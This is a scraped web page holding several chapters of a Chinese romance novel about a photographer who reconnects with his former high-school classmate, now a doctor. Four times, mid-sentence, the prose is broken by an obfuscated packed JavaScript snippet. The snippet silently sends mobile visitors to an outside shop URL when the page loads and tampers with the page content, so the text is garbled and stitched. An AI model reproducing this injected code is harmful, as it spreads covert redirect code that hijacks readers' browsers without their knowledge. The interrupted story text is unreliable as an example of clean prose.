坦白说,这个行业里,从来不缺长得好看的人,长相不好的不会出现在镜头下。黎千树拍过的模特数不胜数,他们风格各不相同,各有各的好看帅气,但陆璟仍然是出众独特的。 大概是那些模特里,实在少见他这样成熟内敛的气质,举止投足都表现出克制礼貌。 又或许是因为年龄和工作阅历,让陆璟沉淀下来。 他本身也是沉着的性子,高中时便可见一斑。 黎千树换了话题,问:“你为什么会调回来?留在a市不是更好?” 陆璟眉头稍动,但不明显,回答道:“看到合适的引进政策,觉得可以,就回来了。” 黎千树那应该就是人才引进了。 陆璟高中时候成绩便很好,大学想必也一样,学医并不轻松,要高学历或者是学科骨干等符合要求的才有资格被引进。 “但各方面条件而言,还是a市更好吧,刚回来会不习惯吗?” “都是救治病人,一样的。” “你很厉害。”黎千树真心夸道。 这句话有些熟悉,多年前,也从黎千树的嘴里说出来过,陆璟刚看向他,又听身边的人打趣着开口:“现在是不是该叫你一声陆医生了。” 陆璟视线定定地落在他脸上,镜片后的那双眼眸微沉。 他嘴唇动了动,正想说什么,黎千树先注意到前面绿灯亮了。 他很是贴心道:“陆医生,绿灯了。” 陆璟眼睛转过去,启动车子。耳边仍然是黎千树咬字清晰的一声“陆医生”。 轻轻的,像风拂在耳畔。 “你……”陆璟也问,“一直都在这里吗?” “嗯?”那时黎千树正趴在车窗边吹风,没怎么听清那个问题。 陆璟耐心地又问了一遍。 “是啊,从小在这边生活,习惯了。”黎千树说。 “大学呢?” 黎千树点头,实话实说:“也在明海市。” 大学他的确没有报远的地方,志愿里最近的城市也在周边。 他浅浅笑下,回忆道:“其实最开始我也有点想去a市的。” 陆璟手心紧了紧,“那怎么没去?” “我学习没那么好嘛,你知道的。” 黎千树调整了个姿势,撑在车窗边,手心抵在额头的位置,目光堪堪落在前方,又像是在回忆。 “而且,家里也有点事情。” 黎千树仅仅开了这个头,没有再继续说下去。 陆璟开车的间隙看他一眼。 晚风扬起黎千树的碎发,光斑影影绰绰地映在他的脸上,偶尔清晰,偶尔模糊。周身气质随意而散漫。 风大了点,他不自觉眯了眯那双漂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849545|211792||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 亮的眼睛。 陆璟没有多问。 过了会儿,黎千树将车窗升起来。 车里空气不再那么流通,变闷了些。 这回陆璟播放起音乐,他将声音调整到合适的音量。 或许是聚餐的时候饭吃得少,酒喝得多,刚说了很多话已经消耗了很多能量,加上陆璟开车太过平稳,就连刹车降速的时候都没有明显的感觉,这会儿安静下来,听着车里柔和的音乐,黎千树靠在舒适的座椅里,忍不住想要休息会儿。 闭上眼,才觉得眼睛干涩疲乏。 黎千树喝酒了会更容易睡觉,特别是微醺状态下,睡一觉起来是神清气爽的。 这一两周是拍摄高峰期,差不多每天都要高强度工作,休息时间缩了不少,黎千树也觉得累。 也是年纪上来了,比不上刚毕业那几年的精力。 好在明天的拍摄是下午,他可以有充足的时间好好睡一觉。 黎千树闭目养神。 车子在道路上平稳行驶。 到目的地没有花太久时间,陆璟将车速慢下来,停靠在路边的时候,黎千树还没有转醒。 车里的音乐还在放,只是声音调得很低,不会打扰到。 陆璟目光偏过去。 黎千树靠在副驾驶,头有些歪地倒着,不知道这个姿势是不是会不舒服。他闭着眼睛呼吸平和,像是真的醉了,不愿意醒。 昏暗不明的车里,有一缕光斜斜地铺进来,落在他眼睛下方的位置,显得很亮。 黎千树皮肤本来就白,更是衬得仿若透明,不太真实。 借着那点光,甚至能描绘出他覆在一起的过于浓长的睫毛,优美流畅的脸部线条,以及饱满的唇形。 陆璟克制地将视线收回,看回前面。神色看不出在想什么。 过了几分钟,他又转过头来。 黎千树碎发垂下,眉心蹙了蹙。 短暂的几秒钟过后,陆璟倾身过去。 黎千树睁开眼的时候,没想到陆璟离自己这么近。 不知道什么时候,衬衫上衣的扣子被解了两颗,锁骨半遮半掩地露出来点,昏暗的视野里颇具几分性感的意味。 黎千树的视线默默挪开,目光从他棱角分明的下颌一寸寸上移,于是又跟面前的人视线相接。 淡淡的薄荷气息在他们之间萦绕。 “正想叫你。”陆璟敛下视线,话语平静,听不出波澜。 说完他便退开距离。 黎千树缓和了下气息,却是一笑:“那你呢?” 这个问题开启得没头没尾,很难反应过来他在说什么。 陆璟轻偏了下脑袋,眉头稍动。 “等我这么久,你在想什么?陆同学。” 黎千树直直地望向他,不遮不掩。 陆璟镜片后方的双眸有一瞬的怔愣,随后微微眯了下,逐渐幽深起来。 他没有睡着。 5. 05 黎千树回到公寓,才发现陆璟的外套还在自己身上,他忘记给对方了,偏偏陆璟也没有主动提。 既然自己穿上了,怎么也得洗干净再还给人家。 他去洗了个澡,吹干头发之后随手理了理便躺回床上,望着天花板。 本来是困了,洗完澡之后反倒有些清醒。 热闹过后归于平静,再回想起来今天的这场同学会,难免有些不真实。 不禁又想到临走之前,陆璟看他的眼神。 很……耐人寻味。 在他脸上很少见的一个表情。 但陆璟实在是太过冷静克制,即便被黎千树这么问着,也没有表现出一丝慌乱。 黎千树在记忆里搜寻曾经的高中时期,陆璟也是寡言少语,那时更多的是性格沉闷不爱讲话。 他记得陆璟家里条件不太好,所以学习格外努力。 他不在意除学习以外的事情,不怎么跟大家玩,但也做不到像现在这样气定神闲、镇定自若。 时光荏苒,多年不见,陆同学如今的穿着打扮、行为举止都与从前大不相同。 他也是头一次意识到原来人的成长不是一成不变的。 喝了酒之后会很好睡,当晚黎千树就做了个梦,梦到曾经的校园时光。 一会儿在篮球场打球,一会儿又嫌热躲在阴凉的树荫下吃冰棍。 下一秒,又转回班里跟同学打闹,看漫画书被老师点着名叫起来回答问题。 教室的走廊很长,有人站在面前跟自己表白。 碎片式的画面浮现在梦里,没有一个完整片段。黎千树走在楼梯间,冯超元碰他一下,说下午班会肯定要调座位了。 午后晴天,整个走廊都被太阳斜照,地板上的光亮得刺眼。黎千树趴在教室窗户边往里面看。 零零散散的座位被挑走,轮到他恐怕还要很久。 黎千树这次考试没发挥好,原本中规中矩的成绩下滑不少,难得被一向温柔贤淑的曲女士批评。 他在心里默默叹气,这次得好好学习了。 冯超元还在窗户边指着空位为自己和好友们谋划布局,黎千树已经先进去找剩下的座位。 一反常态地,他没有去冯超元安排的那个位置。 顺着教室最里面挨窗的那排往后走,停在一个靠后的座位前。 那里已经有一个人,低着头在看书。 “陆同学,我能跟你坐吗?”黎千树问。 对方抬了头。 黎千树看到他窄窄的镜框下露出一点茫然的眼睛,很快又恢复平静,变得没有波澜。 霎时间,场景又换回聚餐桌上,陆璟朝他递过来一张纸巾。 黎千树醒过来已经十点半,他这一觉倒是睡得很久,中途没有醒。 他困困地翻了个身。 这几年做梦,偶尔也会弹回一些高中时光,都不多,只是碎片化的一两个闪回,记忆不深,很快被盖过去。 还没有梦到过这么清晰的,后半段还是有关于陆璟的,不知道怎么就梦到他俩做同桌的事情。 黎千树想或许真是同学会上留下的印象太深了。 他起床洗漱,吃了个饭,然后过去工作室。时间还早,就在在工作室旁边的咖啡店里点了杯咖啡。 黎千树坐在那儿等,看手机。 门口有人一进来,抬眼,是齐彬。 “巧了。”齐彬也看到他。 他点好之后,过来黎千树旁边坐下,一时没说话,先对着面前的人看了又看。 “怎么了?”黎千树蹙眉道。 “怎么样?” “什么怎么样?” “同学会啊。” “啊……”黎千树目光又看回自己屏幕,一边滑一边随口应道,“还行吧,东西挺好吃的。” 齐彬“啧”地一声,不爱听他这回答,颇有几分恨铁不成钢的语气说:“谁问你吃的了,我说人!人!” “人的话……”黎千树滑动的指尖顿了顿,“大家都有些变化,不过也还行,人都很好,相处起来也跟以前差不多。” “就这样?”齐彬追问。 黎千树扭头问他:“那你还想听什么?” 齐彬撑着脸,眉一挑:“就没有什么长得帅事业有成又单身的那种老同学?或者海归人才?也没个看对眼的男的?” 他噼里啪啦甩出好几个问题,说完自己喃喃几声:“不应该吧,不可能一个班的大家全都集体结婚生子了吧。” 黎千树倒是反应了几秒,脑海里渐渐浮现出一个人影来。 沉着冷静,斯文有礼。 他犹豫道:“倒是有一个……” “有?”齐彬立刻来了兴致,眼珠一亮,追问:“谁啊,哪样的?什么职业?有进展吗?” 黎千树一时无语地看他,不知道该怎么说,哪有那么快。 “就是他变化挺大的,跟以前不太一样。” “不太一样?整容了?”齐彬问,不怪他这么想,时尚圈微调整容的都不少,也没什么稀奇的。 “不是,样貌没变,就是气质变了,现在很……”黎千树话音顿了顿。 怎么形容呢。 几秒过后,他估摸着想到一个合适的词:“熟男。” 齐彬看他的眼神微妙起来,眯了眯眼睛,也跟着重复这个词。 “熟男……原来你喜欢这一挂的。早说嘛。”他想了想,那确实那些个对黎千树有意思的男模特没机会了。虽然拍摄时会各种做造型,其中不乏有成熟精英类型的,但私底下相处起来都不是那种气质。 “也不是喜欢,是比较在意。” 黎千树回想起来从入座开始,陆璟就为他贴心地递过来纸巾,帮他扶喝醉的同学,顺路送他回去。 实在是细心,行为也得体,很有分寸感。 黎千树不在意也难。 齐彬一脸很懂地地说“在意这个情绪就是所有感情的开端”,又问他什么职业的。 “医生。” 齐彬有点懵,“嘶”了声,“那估计很忙吧。” 他们这个圈子里还真不怎么跟医护行业有接触,看病治病都是私人的事,也没人打医生的主意。身边人里好像真没有跟医生结婚恋爱的。 黎千树正在翻着看q群里同学们分享出来的聚餐图片,不知道什么时候拍的,有拍得好看的,也有不太好看的。不管怎么样反正都是个留恋。 齐彬瞥了眼。 “长什么样,照片我看看。” 黎千树继续往后翻翻,没找到陆璟的正面角度,倒是有张抓拍的合照里,边上有他的身影。 银丝眼镜白衬衫,体态端正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849546|211792||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,在杂乱的背景里也显得足够突出。 黎千树坐在他旁边,也被拍到了。 齐彬眼睛一眯,“有点那意思,是还不错。先聊着呗,出来吃吃个饭什么的。” 黎千树却神色犹豫了下。其实他不确定对方的性取向,而且也没人问他是否单身。 尽管当时别人都有聊起恋爱和结婚的话题,或许是大家始终跟陆璟不太熟,没人问起陆璟结婚了还是单身这种私人话题。 “这种事情嘛,聊着聊着不就知道了,你看你俩坐一块儿多配啊。而且你不是说他还送你回来吗,说不定他也有点想法呢,主动点才有故事嘛……”齐彬分析了一通,给他支招,“有联系方式吧?直接聊,慢慢接触了解着。” 齐彬说,我要有你这张脸我都横着走了,想撩谁撩谁。 他没有结婚,但从大学开始,女朋友换了好几个,时间上长短都有,恋爱经验丰富。 他向来是推崇感兴趣直接上的,不用纠结,先接触着,合适不合适后面再说,人生那么长,试错机会很多。 黎千树被他说得心头一动。 又想到自己家里还放着陆璟的外套,这也是个能接触对方的借口。只是走的时候没想起来,也忘了要对方一个联系电话。 “怎么说?”齐彬期待地看他,问他有想法没。 黎千树起身,去拿做好的咖啡,“再看吧。得工作了。” “别啊,多好的机会……”齐彬跟上去,继续碎碎念。 忙完已经是晚上,黎千树回到家里,再次见到那件已经洗干净挂着的的外套。 他站在下面,仰着脑袋就这么对那件衣服看了半分多钟。 齐彬的话仿佛有种魔力,在脑子里打转。 黎千树眼眸眯了眯。 没办法,不管是长相还是身材,现在的陆璟实在很符合他的审美。 毕业之后,黎千树当时的电话号码早就换了,但q.q还是那个q.q。他没有陆璟的电话,看他在同学会上跟大家都不怎么熟的样子,估计别人也没有,黎千树放弃找那些同学问的念头。不过都在一个班级群里,应该能找到。 黎千树直接点开所有的群聊成员,一个个往下翻。 幸好大家进群后都把群名片改成了自己的名字,他很快就找到陆璟,头像是片湛蓝色的天空,底下隐约可见有一棵树的脉络。 点击“发消息”,进入临时会话。 黎千树倒在沙发上,握着手机,真要打字的时候又晃了下神,想以什么方式开头比较好。 他没加过别人,更不知道该怎么打招呼不突兀。 思来想去,还是决定有话直说。 黎千树:【陆医生,我是黎千树。你的外套我已经洗好了,你看明天,或者你那边什么时候方便,我过来带给你。】 发完他也不确定陆璟能不能看到,毕竟现在用q.q的人还挺少的,而医生又挺忙。 要是实在没回复,黎千树决定到时候直接去医院找人问问他的科室,反正怎么都能给到他手里。 莫名地,他心有点跳,发完就把手机放在一旁,找点别的事情做。 过了半刻钟,再拿起来,收到了回复。 陆璟:【都可以,看你时间。】 十分钟后。 陆璟:【大概什么时候来?】 6. 06 黎千树明天正好休息一天,因为上午要去接曲女士,他把时间定在了傍晚。 曲海春假期跟着她的两个好姐妹约着一起出去旅了趟游,去了好几个地方,朋友圈打卡照和视频发了好几轮。 今天早上回来,黎千树去接她。 她临走时背着背包,拎着个大行李箱,回来时还是这套装备。直到黎千树费力把她箱子抬进后备箱,才知道这行李箱里面大有乾坤。 “你都买什么了,这么重?” “这就重了?说你平时多运动长点肌肉,你不听。”曲海春坐在副驾驶睨他。 黎千树失笑:“我长那么多肌肉干什么。” 也不好看。 再说了,他平时天天举相机,镜头装上去,那么重,有时候一举就是几个小时,也挺锻炼臂力的。 “对身体好啊,健健康康的。” 曲海春说黎千树都有点太瘦了,让他多吃点。 但黎千树确实不怎么长肉,从小到大都瘦,吃得多也没见真的胖过。 曲海春今年五十多,年轻时候就一直在做保养,皮肤也好,爱化淡妆,其实完全看不出真实年龄。 不过到底是年龄到这里了,难免也会焦虑。 为了防止老得慢一点和肌肉流失,曲女生每周上三次健身房私教课。 之前还说,健身房新来了个年轻的教练长得不错,想介绍给黎千树。 黎千树赶紧说打住,让她锻炼的时候就不要想这些事情了,断了这个念头,别到时候人把母子俩都坑了又跑路。 曲海春往他胳膊上拍了一巴掌。 车开出去,曲海春又说先不回家,先去黎千树住的那个公寓。 “做什么?”黎千树话音警惕。 曲海春目光扫过来,“怎么?屋里藏人了?” 黎千树无奈地喊了声“妈”。 曲海春知道他不会有这种事,随手扒下车上方的镜子,对着摸摸脸,看看自己的妆花了没有。 “我倒希望你能藏个人,你有吗?”她半开玩笑地说。 以前她也纳闷,自己儿子明明长得这么好,为什么没有个对象呢。 大学毕业他才跟自己坦白,说喜欢男生。 曲海春也不是不通情达理的那种家长,她接受能力强,想着男生就男生,也一样能过。 等到这两年同性也能结婚了,依旧没见他领个男朋友上家里来。 以前不急,现在黎千树都快三十了,还没着落,给他介绍的对象都不满意,她自然是放心不下的。 但这事也不能一直说,说多了黎千树也会不开心。假期他一直在工作,挺累的。曲海春也就没提。 “我晒黑了没有小树?” 黎千树开车的空隙看她一眼,说没有啊,母上大人依旧白得发光,拍照都不用打光。 曲海春还是嘀嘀咕咕说景区实在太热了,紫外线很强。 但话音是开心的。 她爱听好听的话,很好哄,心态也还跟年轻时没什么两样。 黎千树有时候也会想,可能跟他爸黎大钧也有关系,因为他爸很爱他妈妈,总是说好听的给她。 曲海春一进门,就把行李箱和背包摊开,里面大大小小的物件堆了不少。除开自己带的衣服化妆品那些,其余都是旅行路上买回来的纪念品。 她一边说着一边往外拿,有些是特意给黎千树带的。 黎千树去给她倒水,想到互联网上老一辈出去旅游乱买一堆假东西回来,不禁问:“妈你没买什么翡翠玉石,金银饰品回来吧?” 曲海春说我买那些干什么呀,也不爱戴。 黎千树点点头,心说那就好。 “给你买了两个帽子,试试。” 一顶鸭舌帽,一顶贝雷帽,说着就往黎千树头上扣,随意地试了两下,满意地表示“不错不错”。还买了一个水杯,让他多喝水。两盒夹心饼干,解馋的。 “这是什么?”黎千树看着旁边两个的盲盒。 “不知道,”曲海春也不懂这叫什么,“逛商场的时候,我看那个店人多,年轻人都在里面买。” 黎千树把这两个盲盒拆了,里面是玩偶小挂件,脸蛋红扑扑的,一个棕色一个米色,表情也呆呆的。 “还挺可爱。”曲海春说。 黎千树给她一个,曲海春没要,让他自己留着。 曲海春还买了冰箱贴,这也是跟年轻人学的,她眼光好,挑的都是好看的款式,她去贴上,有个是小树图案。 回来时才发现黎千树沙发上搁了个白色纸袋子,方方正正的,里面装着件衣服。 她问:“你买衣服啦?” 她往里瞅了眼,没拿出来。 “没有,朋友的,落在我这儿。” 曲海春点点头,“齐彬过来过夜了?” 她对黎千树这个朋友有印象,以前见过。 “不是他。” 于是曲海春直直盯着他看,黎千树被看得心里发怵,主动挽上她胳膊好声好气道:“别想了妈,真的只是朋友,没有那回事。” 事情要从同学会那天开始说起,为了避免麻烦和母亲的盘问,黎千树还是决定找个说辞掩饰过去。 “好吧好吧。” 曲海春就此作罢。 曲女士一直待到太阳快落山才打算离开,黎千树又给他妈妈送到清心家园门口。 曲海春念着他要去朋友那里把衣服还给对方,就没让他特意送上楼,单元楼都有电梯,她拎得动,催他走。 黎千树看了眼时间,现在过去医院还有点早,但他也没有别的事情要做,慢慢开车过去,又在地下停车场转了转,好不容易找个空位置停车。 他拎着袋子进电梯,按十二楼。 想了想,又给对方发了条消息:【我来早了一点,方便吗?】 不过对方没有立刻回,估计在忙。 黎千树把手机揣回兜里。 看着电梯跳着红色数字缓慢地往上升,中间停了几次,不时有人进来。 到楼层,黎千树走出电梯,然后停住。 其实他一直对医院这个地方有一种莫名的敬畏感,以及……茫然感。 这种茫然具体体现在门诊区域,在过大的空间和嘈杂的声音里,摸不清方位也弄不清步骤,也会在某一刻突然不知道该做什么。 上一次,黎千树带着曲海春来医院检查身体的时候,再一次体会到看病的费时和繁琐。 黎千树闻到那种只属于医院的气息,充斥在他的鼻腔。 住院部很大,楼层宽,两侧都能通行。他犹豫了下,朝护士站走过去,礼貌询问:“您好,我请问一下陆璟陆医生的办公室往哪边走?” “啊,陆医生……”前台的护士非常友好,正要指出方向,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849547|211792||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 是一顿,“诶,他正好过来了。” 黎千树顺着她的方向望过去。 陆璟一身白大褂,走在长长的医院廊道里。 身旁还有两位医生,不过看起来年纪要小些,陆璟微微侧头跟他俩交代了什么,他们点点头很快先离开了。 然后陆璟的目光重新落回黎千树的身上,一步一步朝他走近。 身侧有零星几位病人家属和医护人员经过。 黎千树站在原地没有动。 黄昏的光落在陆璟身后,明明不刺眼,却仍然有些看不真切。 直到陆璟到他跟前。 “有点事,等很久了吗?”他问。 “我也刚到。”黎千树说。 陆璟轻点了下头,又示意道:“这边走。” 黎千树跟着他的步伐一直到办公室门前,陆璟先进去,看身后的人在门口犹豫,说:“进来吧。” 办公室的空间比想象中要大些,可能这会儿到了下班时间,有医生已经走了,显得比较空旷。 陆璟的工位靠窗户边,光线好,视野不错。 他倒了杯水过来。 黎千树说“谢谢”,又将手里的袋子递给陆璟,“你的衣服。” “辛苦你走一趟。”陆璟客气道。 “应该的。” 黎千树很慢地抿了口水,眨着眼眸不自觉地打量起这间办公室,和面前陆璟的工位。 桌面收拾得很干净,甚至整洁得有些冷淡,不近人情。 和高中时有点像,但又不一样。 其实陆璟本人并不会带来这样的感觉,相反,他斯文谦逊,温和有礼。 黎千树的目光缓缓上移,渐渐落回陆医生的脸上。 猝不及防,又直愣愣撞进对方的眼眸里。 他也在看自己。 黎千树一怔,心像是漏了半拍似的,脸颊也没来由地热了几分。 他默默挪开了视线,没话找话道:“你们科室有几个人?” 其实这个问题很好回答,看办公室的工位数量就知道。但黎千树随口问的,没想那么多。 “正式医生加规培实习,有11个。” 黎千树“噢”了声。 刚刚那两个年轻的医生也在,不过他们这会儿已经收拾好自己的东西,跟陆医生打了个招呼准备离开。 陆璟点点头,示意他们可以走了。 两个人看起来很是高兴,走之前目光还往黎千树脸上瞟了好几眼。 黎千树想到他俩刚才查完房出来还是一脸苦相,临下班倒是恢复神采奕奕了,他一边喝着水,一边望着那俩背影,问:“医生是不是只有下班的时候最快乐?” “下班也不一定快乐。” 陆璟应了句,顺着黎千树的视线,也往外望了眼,人已经走远了,他说:“托你的福,这是他们下班最早的一天。” 黎千树“啊”了声,不免失笑:“这么辛苦?” 他倚在窗户边,眼底盛着点笑意,身后便是一片昏蓝的薄暮天色。 天马上就要沉下去。 黎千树看着他问:“那我是不是应该经常过来啊?陆医生。” 最后三个字落的轻,尾音浅浅拖出去,他的语气带着点无意识的撩人。 陆璟微垂着视线,承接着这双微微弯起、称得上漂亮又勾人的眼睛。 “你想吗?” 7. 07 他想吗? 黎千树认真思考了几秒,却说:“我要回去了陆医生。”? 他这样说,眼里还残留着点笑,仿佛刚刚是故意逗跟前这个人的。 似乎黎千树很擅长这样,一句话轻轻松松就能撩拨起人的情绪,又轻轻松松揭过。 而他漂亮生动的面孔会让对方毫无办法又轻而易举地陷进去。 陆璟呼吸微不可察地起伏了下,敛眉,说:“我送你。” 话音刚落,外面就有人敲门,看起来是病人家属,她手里拿着张单子:“陆医生打扰您,我想再来问问,就是我父亲这个病……” 黎千树给了陆璟一个眼神示意,让他先忙。 陆璟给这位家属讲解起上面的文字,分析解释得条理清楚。 黎千树站在一旁,打量着办公室里挂着的牌匾,听见他温和耐心的阐述,又不免看了眼此刻正背对着他的陆璟。 这身白大褂穿在他身上真是合适。 陆璟高中就不矮,现在看起来,估计是毕业后又长了一大截,才生得这么高。黎千树都得抬着点头看他。 跟他拍照的那些男模特有的一拼了。 但他身材实在没得挑。 肩膀宽阔,腰窄腿长,即便是一身白大褂,也依稀可见修长高挑的身形。 陆璟又给家属重复了一遍,确认她这次是真的理解了。 “陆医生,还没回去啊?” 门口进来一位女士,步履有几分匆忙,长头发盘着,但发型有点乱了,耳边垂下来几缕。她手里还拿了块单独包装的小饼干在吃,顺口跟陆璟搭话。 陆璟刚跟家属聊完,看她一眼,眉间诧异:“你还没走?” “走走走,这就走,回来拿个东西。” 倪文倩今天累了一天,老早就想走了,下了楼跟别的医生聊了几句,要走时才发现自己钥匙忘拿了。 倪文倩一边在有点乱的工位上找自己的东西,一边抬眼望了眼立在窗边的黎千树,她眼睛再次亮了亮,其实她一进来时就发现对方的存在了,毕竟实在是……惹眼。 这么一张隽秀精致的脸,存在感很强,很难不注意到,又莫名觉得有点眼熟。 她好奇问道:“这是谁啊?陆医生,你病人家属啊?” 黎千树听见她的问题看过来,跟她对视上,他也没想好怎么介绍自己,好在这时候陆璟主动道:“我朋友。” 倪文倩拖着语调点头“噢”了声,有些惊讶,但也没说什么,就对着黎千树大方地笑笑。 黎千树也回以礼貌微笑。 结果对面这人愣了下神,又不禁对着他仔细瞧了眼,疑惑道:“我怎么瞧你有点眼熟呢?” 黎千树很确定自己并不认识面前的人,更想不起来哪里见过,于是说:“可能你认错了吧。” 倪文倩却是摇摇头,又走到黎千树跟前来。 “真的很眼熟,总感觉印象中有见过你。” 倪文倩明显感觉自己上了个班脑子没那么灵光了,她仔细在记忆里搜索,又回头看了眼正盯着电脑屏幕的陆璟,很突然地就联系起来,脑子一瞬间通畅,回忆涌来,她一拍手道:“……我知道了,你以前是不是三中的?” 黎千树惊讶:“你怎么知道?” “因为我也是啊,”倪文倩朝他比了个“三”的手势,“我三班的,你五班的吧,跟他一个班。” 说完朝陆璟的方向指了指。 “是的。”黎千树点头,心里不免也有些意外,居然一个科室也能碰到以前的校友,也太巧了。 倪文倩这才串起来,边想边说:“你应该是叫黎……” “黎千树。” “对!”倪文倩很惊喜道,“你知道我为什么记得你吗?那个时候三班五班在同一层楼,我们班好多女生喜欢你的,每次你从走廊经过,她们都盯着看。” 黎千树不怎么相信地说:“不会吧……” “是真的啊,不骗你,而且……” “寒暄完了吗?”陆璟冷淡的话语插进来,打断倪文倩喋喋不休的说辞。 他的目光越过倪文倩,对黎千树说:“可以走了。” 黎千树点点头。 “你们要走了啊?”倪文倩怪舍不得的,也打算抬脚,“我跟你们一起吧。” 陆璟看她一眼:“你钥匙找着了吗?” “啊,还没有,”倪文倩只好回去,还不忘对着黎千树那张好看的脸说,“有空多过来玩儿啊。” 两人一块儿出去,黎千树感觉到办公室里那道目光似乎还在看他俩。 他说:“没想到你同事也是三中的。” 陆璟侧目,“是很巧。” 黎千树回想她边咬着饼干,边着着急急找东西的模样,还让他多来医院玩,怎么听都觉得有点怪,不免笑道:“感觉她还挺有意思的,跟印象里的医生不太一样。” 而且人很热情,话也多。 陆璟听出他话里淡淡的笑音,脚步顿了顿,问他:“为什么这么想?” “就是觉得……”黎千树想了想说,“好像医生一向都是冷静严谨的,情绪非常稳定,做什么事都井井有条,不出错。” 说完他又觉得,这应该算是刻板印象了吧。 在医生面前谈这个似乎很没礼貌。 黎千树赶紧找补说:“额,我就是觉得有反差,比较有意思……” 陆璟忽地停了脚步,问他:“那我呢?” “我在你印象中是什么样?” 黎千树观察了下他的神色,看起来不像是介意自己的刻板印象发言,才说:“你现在就是……非常符合我眼里医生的形象。” 这很明显是是夸他的意思。 但陆璟却默了默,道:“懂了,我没有意思。” 嗯? 黎千树不知道他怎么得出这样的结论,但仔细一想,好像也确实涵盖这一层意思。 陆璟一脸平淡地说出来,倒是显得很…… 特别。 也很有趣。 黎千树又藏不住笑说:“陆医生,我这是夸你专业严谨,没有那个意思的。” “而且,病人最需要你这样的医生了。” 他好像什么情绪都会表现在脸上。 又有一双明亮的眸子,里面总是映着点光亮。 好多时候,黎千树只是这样看着对方,都会有些令人招架不住。 陆璟别开视线,说:“那谢谢你。” 黎千树暗暗笑了下。 等电梯的时候,陆璟问他吃饭了没有。 黎千树有些遗憾地表示自己吃过了来的。 陆璟点了点头,没说什么。 上来的电梯很慢,一直到十二楼,又继续上去。 直到那个标识终于显示向下的箭头,开始缓慢下楼,黎千树说:“下次吧,下次我请你吃饭。” 陆璟眉头动了动,“请我吃饭?” “对,就当感谢你那天送我回家,还借衣服给我。” 黎千树觉得自己这个说辞挺有道理的,但是陆璟默了默,说不用,举手之劳而已。 “用的,用的,还是吃个饭比较好,”黎千树对此坚持道,“下次一起吃饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849548|211792||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,好吗陆医生?” 他语气放得轻松,仿佛只是礼貌性地随口一提,但话音末尾的“好吗”又显得十分真诚。 黎千树的性格里是有随性的成分在的,但更多的直接、明朗、真挚,坦然,让人无法拒绝。 没有具体的时间,下一次是哪一次,是哪一天。这周,下周?一个不确定的提案,不知道会不会到来。 陆璟仍然答应:“好。” 顿了两秒,又说:“既然如此,留个电话吧。” “好啊。” 黎千树正有此意,立刻将自己的手机解锁递过去,加他号码。 陆璟没有迟疑地输入自己的号码,拨过去。 很快,他手机响了。 黎千树注意到陆璟仍然是用的a市的号码,应该是调过来之后电话也没换过。他把这个号码存进备忘录,打上备注。 陆璟垂着眼,盯着手机上显示的十一位数字静静看了几秒。 “你换号码了。”他忽然说。 黎千树“啊”了声,解释道:“我早就换了啊,高考毕业后手机丢了找不到了。” 所以那时就跟好多同学都断了联系,好在还有q.q号,不过就连那个q.q密码,都是他后来翻到小时候的密码本,才给找出来的,登上去的。 他说完,才注意到陆璟看过来的神色忽然有些复杂,他不解地问:“怎么了?” “没事。”陆璟把手机放回兜里,又和往常一样,维持着礼貌温和,看不出想法。 正好电梯到他们这层楼停下,里面人不少,留下的空间不多。 黎千树说:“就到这里吧陆医生,不用送了,上上下下怪麻烦的。” 他说着便踏进了电梯。 陆璟见状也没有坚持,点点头,说:“慢走。” 电梯门合上,下降之后,陆璟慢慢往回走,还有点收尾工作要完成。 他回到办公室的时候,意外地发现倪文倩还没走,她正坐在办公椅上,悠哉悠哉地等着他。 陆璟忽视掉她的视线。 倪文倩又过来他工位旁边,惊讶说:“陆医生,真没想到啊,你跟黎千树居然是朋友。” “有事吗?”陆璟淡淡开口。 “没事啊,”倪文倩笑道,“我就问问嘛,还以为你没别的朋友呢。” 这话说的。 陆璟淡淡扫过去一眼。 